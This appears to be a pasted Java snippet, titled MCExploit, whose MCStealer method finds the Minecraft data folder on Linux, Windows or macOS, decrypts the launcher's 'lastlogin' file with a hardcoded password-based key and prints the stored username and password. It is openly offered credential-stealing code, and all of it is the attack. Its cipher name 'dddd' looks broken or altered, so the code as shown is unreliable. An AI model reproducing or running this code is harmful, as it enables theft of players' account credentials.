· 7 years ago · Jul 24, 2018, 08:58 PM
1import java.io.*;
2import java.util.*;
3import javax.crypto.*;
4import javax.crypto.spec.*;
5
6public class MCExploit
7{ public static void main(String[] args) throws Exception {
8System.out.println(MCStealer()); } public static String MCStealer() throws Exception {
9String output = null;
10Random random = new Random(43287234L);
11byte[] salt = new byte[8];
12random.nextBytes(salt);
13PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
14SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
15Cipher cipher = Cipher.getInstance("dddd");
16cipher.init(2, pbeKey, pbeParamSpec);
17if (getWorkingDirectory().exists())
18{ File lastLogin = new File(getWorkingDirectory(), "lastlogin"); DataInputStream dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher)); output = dis.readUTF() + " | " + dis.readUTF(); dis.close();
19}
20return output; } public static File getWorkingDirectory() {
21String userHome = System.getProperty("user.home", ".");
22File workingDirectory;
23switch (getPlatform())
24{ case 1: case 2: workingDirectory = new File(userHome, ".minecraft/"); break; case 3: String applicationData = System.getenv("APPDATA"); if (applicationData != null) workingDirectory = new File(applicationData, ".minecraft/"); else workingDirectory = new File(userHome, ".minecraft/"); break; case 4: workingDirectory = new File(userHome, "Library/Application Support/minecraft"); break; default: workingDirectory = new File(userHome, ".minecraft/");
25}
26return workingDirectory; } private static int getPlatform() {
27String osName = System.getProperty("os.name").toLowerCase();
28if (osName.contains("linux")) return 1;
29if (osName.contains("unix")) return 1;
30if (osName.contains("solaris")) return 2;
31if (osName.contains("sunos")) return 2;
32if (osName.contains("win")) return 3;
33if (osName.contains("mac")) return 4;
34return 5; }
35}